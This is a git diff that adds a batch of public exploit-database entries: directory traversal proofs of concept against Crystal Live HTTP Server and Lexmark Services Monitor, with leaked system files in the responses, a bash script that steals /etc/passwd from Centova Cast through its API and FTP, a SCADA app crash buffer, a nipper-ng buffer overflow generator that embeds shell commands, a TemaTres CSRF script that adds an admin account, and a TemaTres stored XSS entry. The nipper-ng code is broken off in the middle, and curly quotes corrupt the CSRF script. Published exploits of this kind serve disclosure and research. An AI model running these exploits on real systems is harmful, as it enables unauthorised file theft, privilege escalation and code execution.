diff --git a/exploits/asp/webapps/47666.txt b/exploits/asp/webapps/47666.txt new file mode 100644 index 000000000..8eeca7b5f --- /dev/null +++ b/exploits/asp/webapps/47666.txt @@ -0,0 +1,27 @@ +# Title: Crystal Live HTTP Server 6.01 - Directory Traversal +# Date of found: 2019-11-17 +# Author: Numan Türle +# Vendor Homepage: https://www.genivia.com/ +# Version : Crystal Quality 6.01.x.x +# Software Link : https://www.crystalrs.com/crystal-quality-introduction/ + + +POC +--------- +GET /../../../../../../../../../../../../windows/win.iniHTTP/1.1 +Host: 12.0.0.1 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 +Accept-Encoding: gzip, deflate +Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7 +Connection: close + +Response +--------- + +; for 16-bit app support +[fonts] +[extensions] +[mci extensions] +[files] +[Mail] +MAPI=1 \ No newline at end of file diff --git a/exploits/hardware/webapps/47663.txt b/exploits/hardware/webapps/47663.txt new file mode 100644 index 000000000..bda1fe705 --- /dev/null +++ b/exploits/hardware/webapps/47663.txt @@ -0,0 +1,142 @@ +# Exploit Title: Lexmark Services Monitor 2.27.4.0.39 - Directory Traversal +# Google Dork: N/A​ +# Date: 2019​-11-15 +# Exploit Author: Kevin Randall​ +# Vendor Homepage: https://www.lexmark.com/en_us.html​ +# Software Link: https://www.lexmark.com/en_us.html​ +# Version: 2.27.4.0.39 (Latest Version)​ +# Tested on: Windows Server 2012​ +# CVE : N/A +​ +​ +Vulnerability: Lexmark Services Monitor (Version 2.27.4.0.39) Runs on TCP Port 2070. The latest version is vulnerable to a Directory Traversal and Local File Inclusion vulnerability.​ +​ +Timeline:​ +Discovered on: 9/24/2019​ +Vendor Notified: 9/24/2019​ +Vendor Confirmed Receipt of Vulnerability: 9/24/2019​ +Follow up with Vendor: 9/25/2019​ +Vendor Sent to Engineers to confirm validity: 9/25/2019 - 9/26/2019​ +Vendor Confirmed Vulnerability is Valid: 9/26/2019​ +Vendor Said Software is EOL (End of Life). Users should upgrade/migrate all LSM with LRAM. No fix/patch will be made: 9/27/2019​ +Vendor Confirmed Signoff to Disclose: 9/27/2019​ +Final Email Sent: 9/27/2019​ +Public Disclosure: 11/15/2019​ +​ +PoC:​ +​ +GET /../../../../../../windows/SysWOW64/PerfStringBackup.ini HTTP/1.1​ +TE: deflate,gzip;q=0.3​ +Connection: TE, close​ +Host: 10.200.15.70:2070​ +User-Agent: Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20​ +​ +HTTP/1.0 200 OK​ +Server: rXpress​ +Content-Length: 848536​ +​ +​ +.​ +.​ +.​ +.[.P.e.r.f.l.i.b.].​ +.​ +.B.a.s.e. .I.n.d.e.x.=.1.8.4.7.​ +.​ +.L.a.s.t. .C.o.u.n.t.e.r.=.3.3.3.4.6.​ +.​ +.L.a.s.t. .H.e.l.p.=.3.3.3.4.7.​ +.​ +.​ +.​ +.[.P.E.R.F._...N.E.T. .C.L.R. .D.a.t.a.].​ +.​ +.F.i.r.s.t. .C.o.u.n.t.e.r.=.5.0.2.8.​ +.​ +.F.i.r.s.t. .H.e.l.p.=.5.0.2.9.​ +.​ +.L.a.s.t. .C.o.u.n.t.e.r.=.5.0.4.0.​ +.​ +.L.a.s.t. .H.e.l.p.=.5.0.4.1.​ +.​ +.​ +.​ +.[.P.E.R.F._...N.E.T. .C.L.R. .N.e.t.w.o.r.k.i.n.g.].​ +.​ +.F.i.r.s.t. .C.o.u.n.t.e.r.=.4.9.8.6.​ +​ +​ +GET /../../../../../windows/SysWOW64/slmgr/0409/slmgr.ini HTTP/1.1​ +TE: deflate,gzip;q=0.3​ +Connection: TE, close​ +Host: 10.200.15.70:2070​ +User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.3​ +​ +HTTP/1.0 200 OK​ +Server: rXpress​ +Content-Length: 38710​ +​ +..[.S.t.r.i.n.g.s.].​ +.​ +.L._.o.p.t.I.n.s.t.a.l.l.P.r.o.d.u.c.t.K.e.y.=.".i.p.k.".​ +.​ +.L._.o.p.t.I.n.s.t.a.l.l.P.r.o.d.u.c.t.K.e.y.U.s.a.g.e.=.".I.n.s.t.a.l.l. .p.r.o.d.u.c.t. .k.e.y. .(.r.e.p.l.a.c.e.s. .e.x.i.s.t.i.n.g. .k.e.y.).".​ +.​ +.L._.o.p.t.U.n.i.n.s.t.a.l.l.P.r.o.d.u.c.t.K.e.y.=.".u.p.k.".​ +.​ +.L._.o.p.t.U.n.i.n.s.t.a.l.l.P.r.o.d.u.c.t.K.e.y.U.s.a.g.e.=.".U.n.i.n.s.t.a.l.l. .p.r.o.d.u.c.t. .k.e.y.".​ +.​ +.L._.o.p.t.A.c.t.i.v.a.t.e.P.r.o.d.u.c.t.=.".a.t.o.".​ +.​ +.L._.o.p.t.A.c.t.i.v.a.t.e.P.r.o.d.u.c.t.U.s.a.g.e.=.".A.c.t.i.v.a.t.e. .W.i.n.d.o.w.s.".​ +.​ +.L._.o.p.t.D.i.s.p.l.a.y.I.n.f.o.r.m.a.t.i.o.n.=.".d.l.i.".​ +.​ +.L._.o.p.t.D.i.s.p.l.a.y.I.n.f.o.r.m.a.t.i.o.n.U.s.a.g.e.=.".D.i.s.p.l.a.y. .l.i.c.e.n.s.e. .i.n.f.o.r.m.a.t.i.o.n. .(.d.e.f.a.u.l.t.:. .c.u.r.r.e.n.t. .l.i.c.e.n.s.e.).".​ +.​ +.L._.o.p.t.D.i.s.p.l.a.y.I.n.f.o.r.m.a.t.i.o.n.V.e.r.b.o.s.e.=.".d.l.v.".​ +.​ +.L._.o.p.t.D.i.s.p.l.a.y.I.n.f.o.r.m.a.t.i.o.n.U.s.a.g.e.V.e.r.b.o.s.e.=.".D.i.s.p.l.a.y. .d.e.t.a.i.l.e.d. .l.i.c.e.n.s.e. .i.n.f.o.r.m.a.t.i.o.n. .(.d.e.f.a.u.l.t.:. .c.u.r.r.e.n.t. .l.i.c.e.n.s.e.).".​ +.​ +.L._.o.p.t.E.x.p.i.r.a.t.i.o.n.D.a.t.i.m.e.=.".x.p.r.".​ +​ +​ +​ +​ +GET /../../../../../windows/system32/drivers/etc/services HTTP/1.1​ +TE: deflate,gzip;q=0.3​ +Connection: TE, close​ +Host: 10.200.15.70:2070​ +User-Agent: Opera/9.50 (Macintosh; Intel Mac OS X; U; de)​ +​ +HTTP/1.0 200 OK​ +Server: rXpress​ +Content-Length: 17463​ +​ +# Copyright (c) 1993-2004 Microsoft Corp.​ +#​ +# This file contains port numbers for well-known services defined by IANA​ +#​ +# Format:​ +#​ +# / [aliases...] [#]​ +#​ +​ +echo 7/tcp​ +echo 7/udp​ +discard 9/tcp sink null​ +discard 9/udp sink null​ +systat 11/tcp users #Active users​ +systat 11/udp users #Active users​ +daytime 13/tcp​ +daytime 13/udp​ +qotd 17/tcp quote #Quote of the day​ +qotd 17/udp quote #Quote of the day​ +chargen 19/tcp ttytst source #Character generator​ +chargen 19/udp ttytst source #Character generator​ +ftp-data 20/tcp #FTP, data​ +ftp 21/tcp #FTP. control​ +ssh 22/tcp #SSH Remote Login Protocol​ +telnet 23/tcp​ +smtp 25/tcp mail #Simple Mail Transfer Protocol​ +time 37/tcp timserver \ No newline at end of file diff --git a/exploits/hardware/webapps/47669.sh b/exploits/hardware/webapps/47669.sh new file mode 100755 index 000000000..ec4a7de3b --- /dev/null +++ b/exploits/hardware/webapps/47669.sh @@ -0,0 +1,29 @@ +# Exploit Title: Centova Cast 3.2.11 - Arbitrary File Download +# Date: 2019-11-17 +# Exploit Author: DroidU +# Vendor Homepage: https://centova.com +# Affected Version: <=v3.2.11 +# Tested on: Debian 9, CentOS 7 + +#!/bin/bash +if [ "$4" = "" ] +then +echo "Usage: $0 centovacast_url user password ftpaddress" +exit +fi +url=$1 +user=$2 +pass=$3 +ftpaddress=$4 + +dwn() { +curl -s -k "$url/api.php?xm=server.copyfile&f=json&a\[username\]=$user&a\[password\]=$pass&a\[sourcefile\]=$1&a\[destfile\]=1.tmp" +wget -q "ftp://$user:$pass@$ftpaddress/1.tmp" -O $2 +} + +dwn /etc/passwd passwd +echo " + +/etc/passwd: +" +cat passwd \ No newline at end of file diff --git a/exploits/ios/dos/47665.py b/exploits/ios/dos/47665.py new file mode 100755 index 000000000..3b5aa423d --- /dev/null +++ b/exploits/ios/dos/47665.py @@ -0,0 +1,28 @@ +# Exploit Title: Open Proficy HMI-SCADA 5.0.0.25920 - 'Password' Denial of Service (PoC) +# Discovery by: Luis Martinez +# Discovery Date: 2019-11-16 +# Vendor Homepage: https://apps.apple.com/us/app/proficyscada/id525792142 +# Software Link: App Store for iOS devices +# GE Intelligent Platforms, Inc. +# Tested Version: 5.0.0.25920 +# Vulnerability Type: Denial of Service (DoS) Local +# Tested on OS: iPhone 7 iOS 13.2 + +# Steps to Produce the Crash: +# 1.- Run python code: Open_Proficy_HMI-SCADA_for_iOS_5.0.0.25920.py +# 2.- Copy content to clipboard +# 3.- Open "Open Proficy HMI-SCADA for iOS" +# 4.- Host List > "+" +# 5.- Add Host +# 6.- Address Type "IP Address" +# 7.- Host IP Address "192.168.1.1" +# 8.- User Name "l4m5" +# 9.- Paste ClipBoard on "Password" +# 10.- Add +# 11.- Connect +# 12.- Crashed + +#!/usr/bin/env python + +buffer = "\x41" * 2500 +print (buffer) \ No newline at end of file diff --git a/exploits/linux/remote/47673.py b/exploits/linux/remote/47673.py new file mode 100755 index 000000000..ba279f3ea --- /dev/null +++ b/exploits/linux/remote/47673.py @@ -0,0 +1,100 @@ +# Exploit Title: nipper-ng 0.11.10 - Remote Buffer Overflow (PoC) +# Date: 2019-10-20 +# Exploit Author: Guy Levin +# https://blog.vastart.dev +# Vendor Homepage: https://tools.kali.org/reporting-tools/nipper-ng +# Software Link: https://code.google.com/archive/p/nipper-ng/source/default/source +# Version: 0.11.10 +# Tested on: Debian +# CVE : CVE-2019-17424 + +""" + Exploit generator created by Guy Levin (@va_start - twitter.com/va_start) + Vulnerability found by Guy Levin (@va_start - twitter.com/va_start) + + For a detailed writeup of CVE-2019-17424 and the exploit building process, read my blog post + https://blog.vastart.dev/2019/10/stack-overflow-cve-2019-17424.html + + may need to run nipper-ng with enviroment variable LD_BIND_NOW=1 on ceratin systems +""" + +import sys +import struct + +def pack_dword(i): + return struct.pack(" MAX_SHELL_COMMAND_CHARS: + raise ValueError("shell command is too big") + shell_command = prepare_shell_command(shell_command) + if len(shell_command) > MAX_SHELL_COMMAND_CHARS: + raise ValueError("shell command is too big after replacing spaces") + + # adding padding to end of shell command + for i, letter in enumerate(shell_command + "&&"): + exploit[OFFSET_FOR_SHELL_COMMAND+i] = ord(letter) + + return exploit + +def main(): + if len(sys.argv) != 3: + print(f"usage: {sys.argv[0]} ") + return 1 + + try: + payload = build_exploit(sys.argv[1]) + except Exception as e: + print(f"error building exploit: {e}") + return 1 + + open(sys.argv[2], "wb").write(payload) + + return 0 # success + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/exploits/php/webapps/47670.txt b/exploits/php/webapps/47670.txt new file mode 100644 index 000000000..31ed0c49f --- /dev/null +++ b/exploits/php/webapps/47670.txt @@ -0,0 +1,74 @@ +# Exploit Title: TemaTres 3.0 — Cross-Site Request Forgery (Add Admin) +# Author: Pablo Santiago +# Date: 2019-11-14 +# Vendor Homepage: https://www.vocabularyserver.com/ +# Source: https://sourceforge.net/projects/tematres/files/TemaTres%203.0/tematres3.0.zip/download +# Version: 3.0 +# CVE : 2019–14345 +# Reference:https://medium.com/@Pablo0xSantiago/cve-2019-14345-ff6f6d9fd30f +# Tested on: Windows 10 + +# Description: +# Web application for management formal representations of knowledge, +# thesauri, taxonomies and multilingual vocabularies / Aplicación para +# la gestión de representaciones formales del conocimiento, tesauros, +# taxonomías, vocabularios multilingües. + +#Exploit + +import requests +import sys + +session = requests.Session() + +http_proxy = “http://127.0.0.1:8080" +https_proxy = “https://127.0.0.1:8080" + +proxyDict = { +“http” : http_proxy, +“https” : https_proxy +} + +url = ‘http://localhost/tematres/vocab/login.php' +values = {‘id_correo_electronico’: ‘pablo@tematres.com’, +‘id_password’: ‘admin’, +‘task’:’login’} + +r = session.post(url, data=values, proxies=proxyDict) +cookie = session.cookies.get_dict()[‘PHPSESSID’] + +print (cookie) + +host = sys.argv[1] +user = input(‘[+]User:’) +lastname = input(‘[+]lastname:’) +password = input(‘[+]Password:’) +password2 = input(‘[+]Confirm Password:’) +email = input(‘[+]Email:’) + +if (password == password2): +#configure proxy burp + +data = { +‘_nombre’:user, +‘_apellido’:lastname, +‘_correo_electronico’:email, +‘orga’:’bypassed’, +‘_clave’:password, +‘_confirmar_clave’:password2, +‘isAdmin’:1, +‘boton’:’Guardar’, +‘userTask’:’A’, +‘useactua’:’’ + +} +headers= { +‘Cookie’: ‘PHPSESSID=’+cookie +} +request = session.post(host+’/tematres/vocab/admin.php’, data=data, +headers=headers, proxies=proxyDict) +print(‘+ — — — — — — — — — — — — — — — — — — — — — — — — — +’) +print(‘Status Code:’+ str(request.status_code)) + +else: +print (‘Passwords dont match!!!’) \ No newline at end of file diff --git a/exploits/php/webapps/47672.txt b/exploits/php/webapps/47672.txt new file mode 100644 index 000000000..a3e43c9c3 --- /dev/null +++ b/exploits/php/webapps/47672.txt @@ -0,0 +1,30 @@ +# Exploit Title: TemaTres 3.0 - 'value' Persistent Cross-site Scripting +# Author: Pablo Santiago +# Date: 2019-11-14 +# Vendor Homepage: https://www.vocabularyserver.com/ +# Source: https://sourceforge.net/projects/tematres/files/TemaTres%203.0/tematres3.0.zip/download +# Version: 3.0 +# CVE : 2019–14343 +# Reference: https://medium.com/@Pablo0xSantiago/cve-2019-14343-ebc120800053 +# Tested on: Windows 10 + +#Description: +The parameter "value" its vulnerable to Stored Cross-site scripting.. + +#Payload: “>